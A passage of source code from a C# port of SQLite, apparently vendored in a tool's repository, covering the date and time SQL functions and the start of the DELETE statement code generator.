= sLocal.tm_hour; y.m = sLocal.tm_min; y.s = sLocal.tm_sec; } #else { tm pTm; sqlite3_mutex_enter( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) ); pTm = localtime( t ); y.Y = pTm.tm_year;// +1900; y.M = pTm.tm_mon;// +1; y.D = pTm.tm_mday; y.h = pTm.tm_hour; y.m = pTm.tm_min; y.s = pTm.tm_sec; sqlite3_mutex_leave( sqlite3MutexAlloc( SQLITE_MUTEX_STATIC_MASTER ) ); } #endif y.validYMD = 1; y.validHMS = 1; y.validJD = 0; y.validTZ = 0; computeJD( y ); return (int)( y.iJD - x.iJD ); } #endif //* SQLITE_OMIT_LOCALTIME */ /* ** Process a modifier to a date-time stamp. The modifiers are ** as follows: ** ** NNN days ** NNN hours ** NNN minutes ** NNN.NNNN seconds ** NNN months ** NNN years ** start of month ** start of year ** start of week ** start of day ** weekday N ** unixepoch ** localtime ** utc ** ** Return 0 on success and 1 if there is any kind of error. */ static int parseModifier( string zMod, DateTime p ) { int rc = 1; int n; double r = 0; StringBuilder z = new StringBuilder( zMod.ToLower() ); string zBuf;//[30]; //z = zBuf; //for(n=0; niJD = p->iJD/86400 + 21086676*(i64)10000000; clearYMD_HMS_TZ( p ); rc = 0; } #if !SQLITE_OMIT_LOCALTIME else if ( z.ToString() == "utc" ) { int c1; computeJD( p ); c1 = localtimeOffset( p ); p.iJD -= (long)c1; clearYMD_HMS_TZ( p ); p.iJD += (long)( c1 - localtimeOffset( p ) ); rc = 0; } #endif break; } case 'w': { /* ** weekday N ** ** Move the date to the same time on the next occurrence of ** weekday N where 0==Sunday, 1==Monday, and so forth. If the ** date is already on the appropriate weekday, this is a no-op. */ if ( z.ToString().StartsWith( "weekday " ) && sqlite3AtoF( z.ToString().Substring( 8 ), ref r ) != 0 //getValue( z[8], ref r ) > 0 && ( n = (int)r ) == r && n >= 0 && r < 7 ) { sqlite3_int64 Z; computeYMD_HMS( p ); p.validTZ = 0; p.validJD = 0; computeJD( p ); Z = ( ( p.iJD + 129600000 ) / 86400000 ) % 7; if ( Z > n ) Z -= 7; p.iJD += ( n - Z ) * 86400000; clearYMD_HMS_TZ( p ); rc = 0; } break; } case 's': { /* ** start of TTTTT ** ** Move the date backwards to the beginning of the current day, ** or month or year. */ if ( z.Length <= 9 ) z.Length = 0; else z.Remove( 0, 9 );//z += 9; computeYMD( p ); p.validHMS = 1; p.h = p.m = 0; p.s = 0.0; p.validTZ = 0; p.validJD = 0; if ( z.ToString() == "month" ) { p.D = 1; rc = 0; } else if ( z.ToString() == "year" ) { computeYMD( p ); p.M = 1; p.D = 1; rc = 0; } else if ( z.ToString() == "day" ) { rc = 0; } break; } case '+': case '-': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': { double rRounder; n = sqlite3AtoF( z.ToString(), ref r );//getValue( z, ref r ); Debug.Assert( n >= 1 ); if ( z[n] == ':' ) { /* A modifier of the form (+|-)HH:MM:SS.FFF adds (or subtracts) the ** specified number of hours, minutes, seconds, and fractional seconds ** to the time. The ".FFF" may be omitted. The ":SS.FFF" may be ** omitted. */ string z2 = z.ToString(); DateTime tx; sqlite3_int64 day; int z2Index = 0; if ( !sqlite3Isdigit( z2[z2Index] ) ) z2Index++;// z2++; tx = new DateTime();// memset( &tx, 0, sizeof(tx)); if ( parseHhMmSs( z2.Substring( z2Index ), tx ) != 0 ) break; computeJD( tx ); tx.iJD -= 43200000; day = tx.iJD / 86400000; tx.iJD -= day * 86400000; if ( z[0] == '-' ) tx.iJD = -tx.iJD; computeJD( p ); clearYMD_HMS_TZ( p ); p.iJD += tx.iJD; rc = 0; break; } //z += n; while ( sqlite3Isspace( z[n] ) ) n++;// z++; z = z.Remove( 0, n ); n = sqlite3Strlen30( z ); if ( n > 10 || n < 3 ) break; if ( z[n - 1] == 's' ) { z.Length = --n; }// z[n - 1] = '\0'; n--; } computeJD( p ); rc = 0; rRounder = r < 0 ? -0.5 : +0.5; if ( n == 3 && z.ToString() == "day" ) { p.iJD += (long)( r * 86400000.0 + rRounder ); } else if ( n == 4 && z.ToString() == "hour" ) { p.iJD += (long)( r * ( 86400000.0 / 24.0 ) + rRounder ); } else if ( n == 6 && z.ToString() == "minute" ) { p.iJD += (long)( r * ( 86400000.0 / ( 24.0 * 60.0 ) ) + rRounder ); } else if ( n == 6 && z.ToString() == "second" ) { p.iJD += (long)( r * ( 86400000.0 / ( 24.0 * 60.0 * 60.0 ) ) + rRounder ); } else if ( n == 5 && z.ToString() == "month" ) { int x, y; computeYMD_HMS( p ); p.M += (int)r; x = p.M > 0 ? ( p.M - 1 ) / 12 : ( p.M - 12 ) / 12; p.Y += x; p.M -= x * 12; p.validJD = 0; computeJD( p ); y = (int)r; if ( y != r ) { p.iJD += (long)( ( r - y ) * 30.0 * 86400000.0 + rRounder ); } } else if ( n == 4 && z.ToString() == "year" ) { int y = (int)r; computeYMD_HMS( p ); p.Y += y; p.validJD = 0; computeJD( p ); if ( y != r ) { p.iJD += (sqlite3_int64)( ( r - y ) * 365.0 * 86400000.0 + rRounder ); } } else { rc = 1; } clearYMD_HMS_TZ( p ); break; } default: { break; } } return rc; } /* ** Process time function arguments. argv[0] is a date-time stamp. ** argv[1] and following are modifiers. Parse them all and write ** the resulting time into the DateTime structure p. Return 0 ** on success and 1 if there are any errors. ** ** If there are zero parameters (if even argv[0] is undefined) ** then assume a default value of "now" for argv[0]. */ static int isDate( sqlite3_context context, int argc, sqlite3_value[] argv, ref DateTime p ) { int i; string z; int eType; p = new DateTime();//memset(p, 0, sizeof(*p)); if ( argc == 0 ) { setDateTimeToCurrent( context, p ); } else if ( ( eType = sqlite3_value_type( argv[0] ) ) == SQLITE_FLOAT || eType == SQLITE_INTEGER ) { p.iJD = (long)( sqlite3_value_double( argv[0] ) * 86400000.0 + 0.5 ); p.validJD = 1; } else { z = sqlite3_value_text( argv[0] ); if ( String.IsNullOrEmpty( z ) || parseDateOrTime( context, z, ref p ) != 0 ) { return 1; } } for ( i = 1 ; i < argc ; i++ ) { if ( String.IsNullOrEmpty( z = sqlite3_value_text( argv[i] ) ) || parseModifier( z, p ) != 0 ) { return 1; } } return 0; } /* ** The following routines implement the various date and time functions ** of SQLite. */ /* ** julianday( TIMESTRING, MOD, MOD, ...) ** ** Return the julian day number of the date specified in the arguments */ static void juliandayFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { DateTime x = null; if ( isDate( context, argc, argv, ref x ) == 0 ) { computeJD( x ); sqlite3_result_double( context, x.iJD / 86400000.0 ); } } /* ** datetime( TIMESTRING, MOD, MOD, ...) ** ** Return YYYY-MM-DD HH:MM:SS */ static void datetimeFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { DateTime x = null; if ( isDate( context, argc, argv, ref x ) == 0 ) { string zBuf = "";//[100]; computeYMD_HMS( x ); sqlite3_snprintf( 100, ref zBuf, "%04d-%02d-%02d %02d:%02d:%02d", x.Y, x.M, x.D, x.h, x.m, (int)( x.s ) ); sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT ); } } /* ** time( TIMESTRING, MOD, MOD, ...) ** ** Return HH:MM:SS */ static void timeFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { DateTime x = new DateTime(); if ( isDate( context, argc, argv, ref x ) == 0 ) { string zBuf = "";//[100]; computeHMS( x ); sqlite3_snprintf( 100, ref zBuf, "%02d:%02d:%02d", x.h, x.m, (int)x.s ); sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT ); } } /* ** date( TIMESTRING, MOD, MOD, ...) ** ** Return YYYY-MM-DD */ static void dateFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { DateTime x = null; if ( isDate( context, argc, argv, ref x ) == 0 ) { string zBuf = "";//[100]; computeYMD( x ); sqlite3_snprintf( 100, ref zBuf, "%04d-%02d-%02d", x.Y, x.M, x.D ); sqlite3_result_text( context, zBuf, -1, SQLITE_TRANSIENT ); } } /* ** strftime( FORMAT, TIMESTRING, MOD, MOD, ...) ** ** Return a string described by FORMAT. Conversions as follows: ** ** %d day of month ** %f ** fractional seconds SS.SSS ** %H hour 00-24 ** %j day of year 000-366 ** %J ** Julian day number ** %m month 01-12 ** %M minute 00-59 ** %s seconds since 1970-01-01 ** %S seconds 00-59 ** %w day of week 0-6 sunday==0 ** %W week of year 00-53 ** %Y year 0000-9999 ** %% % */ static void strftimeFunc( sqlite3_context context, int argc, sqlite3_value[] argv ) { { DateTime x = new DateTime(); u64 n; int i, j; StringBuilder z; sqlite3 db; string zFmt = sqlite3_value_text( argv[0] ); StringBuilder zBuf = new StringBuilder( 100 ); sqlite3_value[] argv1 = new sqlite3_value[argc - 1]; for ( i = 0 ; i < argc - 1 ; i++ ) { argv1[i] = new sqlite3_value(); argv[i + 1].CopyTo( argv1[i] ); } if ( String.IsNullOrEmpty( zFmt ) || isDate( context, argc - 1, argv1, ref x ) != 0 ) return; db = sqlite3_context_db_handle( context ); for ( i = 0, n = 1 ; i < zFmt.Length ; i++, n++ ) { if ( zFmt[i] == '%' ) { switch ( (char)zFmt[i + 1] ) { case 'd': case 'H': case 'm': case 'M': case 'S': case 'W': n++; break; /* fall thru */ case 'w': case '%': break; case 'f': n += 8; break; case 'j': n += 3; break; case 'Y': n += 8; break; case 's': case 'J': n += 50; break; default: return; /* ERROR. return a NULL */ } i++; } } testcase( n == (u64)( zBuf.Length - 1 ) ); testcase( n == (u64)zBuf.Length ); testcase( n == (u64)db.aLimit[SQLITE_LIMIT_LENGTH] + 1 ); testcase( n == (u64)db.aLimit[SQLITE_LIMIT_LENGTH] ); if ( n < (u64)zBuf.Capacity ) { z = zBuf; } else if ( n > (u64)db.aLimit[SQLITE_LIMIT_LENGTH] ) { sqlite3_result_error_toobig( context ); return; } else { z = new StringBuilder( (int)n );// sqlite3DbMallocRaw( db, n ); //if ( z == 0 ) //{ // sqlite3_result_error_nomem( context ); // return; //} } computeJD( x ); computeYMD_HMS( x ); for ( i = j = 0 ; i < zFmt.Length ; i++ ) { if ( zFmt[i] != '%' ) { z.Append( (char)zFmt[i] ); } else { i++; string zTemp = ""; switch ( (char)zFmt[i] ) { case 'd': sqlite3_snprintf( 3, ref zTemp, "%02d", x.D ); z.Append( zTemp ); j += 2; break; case 'f': { double s = x.s; if ( s > 59.999 ) s = 59.999; sqlite3_snprintf( 7, ref zTemp, "%06.3f", s ); z.Append( zTemp ); j = sqlite3Strlen30( z ); break; } case 'H': sqlite3_snprintf( 3, ref zTemp, "%02d", x.h ); z.Append( zTemp ); j += 2; break; case 'W': /* Fall thru */ case 'j': { int nDay; /* Number of days since 1st day of year */ DateTime y = new DateTime(); x.CopyTo( y ); y.validJD = 0; y.M = 1; y.D = 1; computeJD( y ); nDay = (int)( ( x.iJD - y.iJD + 43200000 ) / 86400000 ); if ( zFmt[i] == 'W' ) { int wd; /* 0=Monday, 1=Tuesday, ... 6=Sunday */ wd = (int)( ( ( x.iJD + 43200000 ) / 86400000 ) % 7 ); sqlite3_snprintf( 3, ref zTemp, "%02d", ( nDay + 7 - wd ) / 7 ); z.Append( zTemp ); j += 2; } else { sqlite3_snprintf( 4, ref zTemp, "%03d", nDay + 1 ); z.Append( zTemp ); j += 3; } break; } case 'J': { sqlite3_snprintf( 20, ref zTemp, "%.16g", x.iJD / 86400000.0 ); z.Append( zTemp ); j = sqlite3Strlen30( z ); break; } case 'm': sqlite3_snprintf( 3, ref zTemp, "%02d", x.M ); z.Append( zTemp ); j += 2; break; case 'M': sqlite3_snprintf( 3, ref zTemp, "%02d", x.m ); z.Append( zTemp ); j += 2; break; case 's': { sqlite3_snprintf( 30, ref zTemp, "%lld", (i64)( x.iJD / 1000 - 21086676 * (i64)10000 ) ); z.Append( zTemp ); j = sqlite3Strlen30( z ); break; } case 'S': sqlite3_snprintf( 3, ref zTemp, "%02d", (int)x.s ); z.Append( zTemp ); j += 2; break; case 'w': { z.Append( ( ( ( x.iJD + 129600000 ) / 86400000 ) % 7 ) ); break; } case 'Y': { sqlite3_snprintf( 5, ref zTemp, "%04d", x.Y ); z.Append( zTemp ); j = sqlite3Strlen30( z ); break; } default: z.Append( '%' ); break; } } } //z[j] = 0; sqlite3_result_text( context, z.ToString(), -1, z == zBuf ? SQLITE_TRANSIENT : SQLITE_DYNAMIC ); } } /* ** current_time() ** ** This function returns the same value as time('now'). */ static void ctimeFunc( sqlite3_context context, int NotUsed, sqlite3_value[] NotUsed2 ) { UNUSED_PARAMETER2( NotUsed, NotUsed2 ); timeFunc( context, 0, null ); } /* ** current_date() ** ** This function returns the same value as date('now'). */ static void cdateFunc( sqlite3_context context, int NotUsed, sqlite3_value[] NotUsed2 ) { UNUSED_PARAMETER2( NotUsed, NotUsed2 ); dateFunc( context, 0, null ); } /* ** current_timestamp() ** ** This function returns the same value as datetime('now'). */ static void ctimestampFunc( sqlite3_context context, int NotUsed, sqlite3_value[] NotUsed2 ) { UNUSED_PARAMETER2( NotUsed, NotUsed2 ); datetimeFunc( context, 0, null ); } #endif // * !SQLITE_OMIT_DATETIME_FUNCS) */ #if SQLITE_OMIT_DATETIME_FUNCS /* ** If the library is compiled to omit the full-scale date and time ** handling (to get a smaller binary), the following minimal version ** of the functions current_time(), current_date() and current_timestamp() ** are included instead. This is to support column declarations that ** include "DEFAULT CURRENT_TIME" etc. ** ** This function uses the C-library functions time(), gmtime() ** and strftime(). The format string to pass to strftime() is supplied ** as the user-data for the function. */ //static void currentTimeFunc( // sqlite3_context *context, // int argc, // sqlite3_value[] argv //){ time_t t; char *zFormat = (char *)sqlite3_user_data(context); sqlite3 db; double rT; char zBuf[20]; UNUSED_PARAMETER(argc); UNUSED_PARAMETER(argv); db = sqlite3_context_db_handle(context); sqlite3OsCurrentTime(db.pVfs, rT); #if !SQLITE_OMIT_FLOATING_POINT t = 86400.0*(rT - 2440587.5) + 0.5; #else /* without floating point support, rT will have ** already lost fractional day precision. */ t = 86400 * (rT - 2440587) - 43200; #endif #if HAVE_GMTIME_R // { // struct tm sNow; // gmtime_r(&t, sNow); // strftime(zBuf, 20, zFormat, sNow); // } #else // { // struct tm pTm; // sqlite3_mutex_enter(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); // pTm = gmtime(&t); // strftime(zBuf, 20, zFormat, pTm); // sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER)); // } #endif // sqlite3_result_text(context, zBuf, -1, SQLITE_TRANSIENT); //} #endif /* ** This function registered all of the above C functions as SQL ** functions. This should be the only routine in this file with ** external linkage. */ static void sqlite3RegisterDateTimeFunctions() { FuncDef[] aDateTimeFuncs = new FuncDef[] { #if !SQLITE_OMIT_DATETIME_FUNCS FUNCTION("julianday", -1, 0, 0, (dxFunc)juliandayFunc ), FUNCTION("date", -1, 0, 0, (dxFunc)dateFunc ), FUNCTION("time", -1, 0, 0, (dxFunc)timeFunc ), FUNCTION("datetime", -1, 0, 0, (dxFunc)datetimeFunc ), FUNCTION("strftime", -1, 0, 0, (dxFunc)strftimeFunc ), FUNCTION("current_time", 0, 0, 0, (dxFunc)ctimeFunc ), FUNCTION("current_timestamp", 0, 0, 0, (dxFunc)ctimestampFunc), FUNCTION("current_date", 0, 0, 0, (dxFunc)cdateFunc ), #else STR_FUNCTION("current_time", 0, "%H:%M:%S", 0, currentTimeFunc), STR_FUNCTION("current_timestamp", 0, "%Y-%m-%d", 0, currentTimeFunc), STR_FUNCTION("current_date", 0, "%Y-%m-%d %H:%M:%S", 0, currentTimeFunc), #endif }; int i; #if SQLITE_OMIT_WSD FuncDefHash pHash = GLOBAL( FuncDefHash, sqlite3GlobalFunctions ); FuncDef[] aFunc = (FuncDef)GLOBAL( FuncDef, aDateTimeFuncs ); #else FuncDefHash pHash = sqlite3GlobalFunctions; FuncDef[] aFunc = aDateTimeFuncs; #endif for ( i = 0 ; i < ArraySize( aDateTimeFuncs ) ; i++ ) { sqlite3FuncDefInsert( pHash, aFunc[i] ); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/delete_c.cs ================================================ using System.Diagnostics; using u32 = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This file contains C code routines that are called by the parser ** in order to generate code for DELETE FROM statements. ** ** $Id: delete.c,v 1.207 2009/08/08 18:01:08 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#include "sqliteInt.h" /* ** Look up every table that is named in pSrc. If any table is not found, ** add an error message to pParse.zErrMsg and return NULL. If all tables ** are found, return a pointer to the last table. */ static Table sqlite3SrcListLookup( Parse pParse, SrcList pSrc ) { SrcList_item pItem = pSrc.a[0]; Table pTab; Debug.Assert( pItem != null && pSrc.nSrc == 1 ); pTab = sqlite3LocateTable( pParse, 0, pItem.zName, pItem.zDatabase ); sqlite3DeleteTable( ref pItem.pTab ); pItem.pTab = pTab; if ( pTab != null ) { pTab.nRef++; } if ( sqlite3IndexedByLookup( pParse, pItem ) != 0 ) { pTab = null; } return pTab; } /* ** Check to make sure the given table is writable. If it is not ** writable, generate an error message and return 1. If it is ** writable return 0; */ static bool sqlite3IsReadOnly( Parse pParse, Table pTab, int viewOk ) { /* A table is not writable under the following circumstances: ** ** 1) It is a virtual table and no implementation of the xUpdate method ** has been provided, or ** 2) It is a system table (i.e. sqlite_master), this call is not ** part of a nested parse and writable_schema pragma has not ** been specified. ** ** In either case leave an error message in pParse and return non-zero. */ if ( ( IsVirtual( pTab ) && sqlite3GetVTable( pParse.db, pTab ).pMod.pModule.xUpdate == null ) || ( ( pTab.tabFlags & TF_Readonly ) != 0 && ( pParse.db.flags & SQLITE_WriteSchema ) == 0 && pParse.nested == 0 ) ) { sqlite3ErrorMsg( pParse, "table %s may not be modified", pTab.zName ); return true; } #if !SQLITE_OMIT_VIEW if ( viewOk == 0 && pTab.pSelect != null ) { sqlite3ErrorMsg( pParse, "cannot modify %s because it is a view", pTab.zName ); return true; } #endif return false; } #if !SQLITE_OMIT_VIEW && !SQLITE_OMIT_TRIGGER /* ** Evaluate a view and store its result in an ephemeral table. The ** pWhere argument is an optional WHERE clause that restricts the ** set of rows in the view that are to be added to the ephemeral table. */ static void sqlite3MaterializeView( Parse pParse, /* Parsing context */ Table pView, /* View definition */ Expr pWhere, /* Optional WHERE clause to be added */ int iCur /* VdbeCursor number for ephemerial table */ ) { SelectDest dest = new SelectDest(); Select pDup; sqlite3 db = pParse.db; pDup = sqlite3SelectDup( db, pView.pSelect, 0 ); if ( pWhere != null ) { SrcList pFrom; pWhere = sqlite3ExprDup( db, pWhere, 0 ); pFrom = sqlite3SrcListAppend( db, null, null, null ); //if ( pFrom != null ) //{ Debug.Assert( pFrom.nSrc == 1 ); pFrom.a[0].zAlias = pView.zName;// sqlite3DbStrDup( db, pView.zName ); pFrom.a[0].pSelect = pDup; Debug.Assert( pFrom.a[0].pOn == null ); Debug.Assert( pFrom.a[0].pUsing == null ); //} //else //{ // sqlite3SelectDelete( db, ref pDup ); //} pDup = sqlite3SelectNew( pParse, null, pFrom, pWhere, null, null, null, 0, null, null ); } sqlite3SelectDestInit( dest, SRT_EphemTab, iCur ); sqlite3Select( pParse, pDup, ref dest ); sqlite3SelectDelete( db, ref pDup ); } #endif //* !SQLITE_OMIT_VIEW) && !SQLITE_OMIT_TRIGGER) */ #if (SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !(SQLITE_OMIT_SUBQUERY) /* ** Generate an expression tree to implement the WHERE, ORDER BY, ** and LIMIT/OFFSET portion of DELETE and UPDATE statements. ** ** DELETE FROM table_wxyz WHERE a<5 ORDER BY a LIMIT 1; ** \__________________________/ ** pLimitWhere (pInClause) */ Expr sqlite3LimitWhere( Parse pParse, /* The parser context */ SrcList pSrc, /* the FROM clause -- which tables to scan */ Expr pWhere, /* The WHERE clause. May be null */ ExprList pOrderBy, /* The ORDER BY clause. May be null */ Expr pLimit, /* The LIMIT clause. May be null */ Expr pOffset, /* The OFFSET clause. May be null */ char zStmtType /* Either DELETE or UPDATE. For error messages. */ ){ Expr pWhereRowid = null; /* WHERE rowid .. */ Expr pInClause = null; /* WHERE rowid IN ( select ) */ Expr pSelectRowid = null; /* SELECT rowid ... */ ExprList pEList = null; /* Expression list contaning only pSelectRowid */ SrcList pSelectSrc = null; /* SELECT rowid FROM x ... (dup of pSrc) */ Select pSelect = null; /* Complete SELECT tree */ /* Check that there isn't an ORDER BY without a LIMIT clause. */ if( pOrderBy!=null && (pLimit == null) ) { sqlite3ErrorMsg(pParse, "ORDER BY without LIMIT on %s", zStmtType); pParse.parseError = 1; goto limit_where_cleanup_2; } /* We only need to generate a select expression if there ** is a limit/offset term to enforce. */ if ( pLimit == null ) { /* if pLimit is null, pOffset will always be null as well. */ Debug.Assert( pOffset == null ); return pWhere; } /* Generate a select expression tree to enforce the limit/offset ** term for the DELETE or UPDATE statement. For example: ** DELETE FROM table_a WHERE col1=1 ORDER BY col2 LIMIT 1 OFFSET 1 ** becomes: ** DELETE FROM table_a WHERE rowid IN ( ** SELECT rowid FROM table_a WHERE col1=1 ORDER BY col2 LIMIT 1 OFFSET 1 ** ); */ pSelectRowid = sqlite3PExpr( pParse, TK_ROW, null, null, null ); if( pSelectRowid == null ) goto limit_where_cleanup_2; pEList = sqlite3ExprListAppend( pParse, null, pSelectRowid); if( pEList == null ) goto limit_where_cleanup_2; /* duplicate the FROM clause as it is needed by both the DELETE/UPDATE tree ** and the SELECT subtree. */ pSelectSrc = sqlite3SrcListDup(pParse.db, pSrc,0); if( pSelectSrc == null ) { sqlite3ExprListDelete(pParse.db, pEList); goto limit_where_cleanup_2; } /* generate the SELECT expression tree. */ pSelect = sqlite3SelectNew( pParse, pEList, pSelectSrc, pWhere, null, null, pOrderBy, 0, pLimit, pOffset ); if( pSelect == null ) return null; /* now generate the new WHERE rowid IN clause for the DELETE/UDPATE */ pWhereRowid = sqlite3PExpr( pParse, TK_ROW, null, null, null ); if( pWhereRowid == null ) goto limit_where_cleanup_1; pInClause = sqlite3PExpr( pParse, TK_IN, pWhereRowid, null, null ); if( pInClause == null ) goto limit_where_cleanup_1; pInClause->x.pSelect = pSelect; pInClause->flags |= EP_xIsSelect; sqlite3ExprSetHeight(pParse, pInClause); return pInClause; /* something went wrong. clean up anything allocated. */ limit_where_cleanup_1: sqlite3SelectDelete(pParse.db, pSelect); return null; limit_where_cleanup_2: sqlite3ExprDelete(pParse.db, ref pWhere); sqlite3ExprListDelete(pParse.db, pOrderBy); sqlite3ExprDelete(pParse.db, ref pLimit); sqlite3ExprDelete(pParse.db, ref pOffset); return null; } #endif //* defined(SQLITE_ENABLE_UPDATE_DELETE_LIMIT) && !defined(SQLITE_OMIT_SUBQUERY) */ /* ** Generate code for a DELETE FROM statement. ** ** DELETE FROM table_wxyz WHERE a<5 AND b NOT NULL; ** \________/ \________________/ ** pTabList pWhere */ static void sqlite3DeleteFrom( Parse pParse, /* The parser context */ SrcList pTabList, /* The table from which we should delete things */ Expr pWhere /* The WHERE clause. May be null */ ) { Vdbe v; /* The virtual database engine */ Table pTab; /* The table from which records will be deleted */ string zDb; /* Name of database holding pTab */ int end, addr = 0; /* A couple addresses of generated code */ int i; /* Loop counter */ WhereInfo pWInfo; /* Information about the WHERE clause */ Index pIdx; /* For looping over indices of the table */ int iCur; /* VDBE VdbeCursor number for pTab */ sqlite3 db; /* Main database structure */ AuthContext sContext; /* Authorization context */ int oldIdx = -1; /* VdbeCursor for the OLD table of AFTER triggers */ NameContext sNC; /* Name context to resolve expressions in */ int iDb; /* Database number */ int memCnt = -1; /* Memory cell used for change counting */ int rcauth; /* Value returned by authorization callback */ #if !SQLITE_OMIT_TRIGGER bool isView; /* True if attempting to delete from a view */ Trigger pTrigger; /* List of table triggers, if required */ #endif int iBeginAfterTrigger = 0; /* Address of after trigger program */ int iEndAfterTrigger = 0; /* Exit of after trigger program */ int iBeginBeforeTrigger = 0; /* Address of before trigger program */ int iEndBeforeTrigger = 0; /* Exit of before trigger program */ u32 old_col_mask = 0; /* Mask of OLD.* columns in use */ sContext = new AuthContext();//memset(&sContext, 0, sizeof(sContext)); db = pParse.db; if ( pParse.nErr != 0 /*|| db.mallocFailed != 0 */ ) { goto delete_from_cleanup; } Debug.Assert( pTabList.nSrc == 1 ); /* Locate the table which we want to delete. This table has to be ** put in an SrcList structure because some of the subroutines we ** will be calling are designed to work with multiple tables and expect ** an SrcList* parameter instead of just a Table* parameter. */ pTab = sqlite3SrcListLookup( pParse, pTabList ); if ( pTab == null ) goto delete_from_cleanup; /* Figure out if we have any triggers and if the table being ** deleted from is a view */ #if !SQLITE_OMIT_TRIGGER int iDummy = 0; pTrigger = sqlite3TriggersExist( pParse, pTab, TK_DELETE, null, ref iDummy ); isView = pTab.pSelect != null; #else const Trigger pTrigger = null; isView = false; #endif #if SQLITE_OMIT_VIEW //# undef isView isView = false; #endif /* If pTab is really a view, make sure it has been initialized. */ if ( sqlite3ViewGetColumnNames( pParse, pTab ) != 0 ) { goto delete_from_cleanup; } if ( sqlite3IsReadOnly( pParse, pTab, ( pTrigger != null ? 1 : 0 ) ) ) { goto delete_from_cleanup; } iDb = sqlite3SchemaToIndex( db, pTab.pSchema ); Debug.Assert( iDb < db.nDb ); zDb = db.aDb[iDb].zName; #if !SQLITE_OMIT_AUTHORIZATION rcauth = sqlite3AuthCheck(pParse, SQLITE_DELETE, pTab->zName, 0, zDb); #else rcauth = SQLITE_OK; #endif Debug.Assert( rcauth == SQLITE_OK || rcauth == SQLITE_DENY || rcauth == SQLITE_IGNORE ); if ( rcauth == SQLITE_DENY ) { goto delete_from_cleanup; } Debug.Assert( !isView || pTrigger != null ); /* Allocate a cursor used to store the old.* data for a trigger. */ if ( pTrigger != null ) { oldIdx = pParse.nTab++; } /* Assign cursor number to the table and all its indices. */ Debug.Assert( pTabList.nSrc == 1 ); iCur = pTabList.a[0].iCursor = pParse.nTab++; for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { pParse.nTab++; } #if !SQLITE_OMIT_AUTHORIZATION /* Start the view context */ if( isView ){ sqlite3AuthContextPush(pParse, sContext, pTab.zName); } #endif /* Begin generating code. */ v = sqlite3GetVdbe( pParse ); if ( v == null ) { goto delete_from_cleanup; } if ( pParse.nested == 0 ) sqlite3VdbeCountChanges( v ); sqlite3BeginWriteOperation( pParse, pTrigger != null ? 1 : 0, iDb ); #if !SQLITE_OMIT_TRIGGER if ( pTrigger != null ) { int orconf = ( ( pParse.trigStack != null ) ? pParse.trigStack.orconf : OE_Default ); int iGoto = sqlite3VdbeAddOp0( v, OP_Goto ); addr = sqlite3VdbeMakeLabel( v ); iBeginBeforeTrigger = sqlite3VdbeCurrentAddr( v ); u32 Ref_0 = 0; sqlite3CodeRowTrigger( pParse, pTrigger, TK_DELETE, null, TRIGGER_BEFORE, pTab, -1, oldIdx, orconf, addr, ref old_col_mask, ref Ref_0 ); iEndBeforeTrigger = sqlite3VdbeAddOp0( v, OP_Goto ); iBeginAfterTrigger = sqlite3VdbeCurrentAddr( v ); Ref_0 = 0; sqlite3CodeRowTrigger( pParse, pTrigger, TK_DELETE, null, TRIGGER_AFTER, pTab, -1, oldIdx, orconf, addr, ref old_col_mask, ref Ref_0 ); iEndAfterTrigger = sqlite3VdbeAddOp0( v, OP_Goto ); sqlite3VdbeJumpHere( v, iGoto ); } #endif /* If we are trying to delete from a view, realize that view into ** a ephemeral table. */ #if !(SQLITE_OMIT_VIEW) && !(SQLITE_OMIT_TRIGGER) if ( isView ) { sqlite3MaterializeView( pParse, pTab, pWhere, iCur ); } /* Resolve the column names in the WHERE clause. */ sNC = new NameContext();// memset( &sNC, 0, sizeof( sNC ) ); sNC.pParse = pParse; sNC.pSrcList = pTabList; if ( sqlite3ResolveExprNames( sNC, ref pWhere ) != 0 ) { goto delete_from_cleanup; } #endif /* Initialize the counter of the number of rows deleted, if ** we are counting rows. */ if ( ( db.flags & SQLITE_CountRows ) != 0 ) { memCnt = ++pParse.nMem; sqlite3VdbeAddOp2( v, OP_Integer, 0, memCnt ); } #if !SQLITE_OMIT_TRUNCATE_OPTIMIZATION /* Special case: A DELETE without a WHERE clause deletes everything. ** It is easier just to erase the whole table. Note, however, that ** this means that the row change count will be incorrect. */ if ( rcauth == SQLITE_OK && pWhere == null && null == pTrigger && !IsVirtual( pTab ) ) { Debug.Assert( !isView ); sqlite3VdbeAddOp4( v, OP_Clear, pTab.tnum, iDb, memCnt, pTab.zName, P4_STATIC ); for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext ) { Debug.Assert( pIdx.pSchema == pTab.pSchema ); sqlite3VdbeAddOp2( v, OP_Clear, pIdx.tnum, iDb ); } } else #endif //* SQLITE_OMIT_TRUNCATE_OPTIMIZATION */ /* The usual case: There is a WHERE clause so we have to scan through ** the table and pick which records to delete. */ { int iRowid = ++pParse.nMem; /* Used for storing rowid values. */ int iRowSet = ++pParse.nMem; /* Register for rowset of rows to delete */ int regRowid; /* Actual register containing rowids */ /* Collect rowids of every row to be deleted. */ sqlite3VdbeAddOp2( v, OP_Null, 0, iRowSet ); ExprList elDummy = null; pWInfo = sqlite3WhereBegin( pParse, pTabList, pWhere, ref elDummy, WHERE_DUPLICATES_OK ); if ( pWInfo == null ) goto delete_from_cleanup; regRowid = sqlite3ExprCodeGetColumn( pParse, pTab, -1, 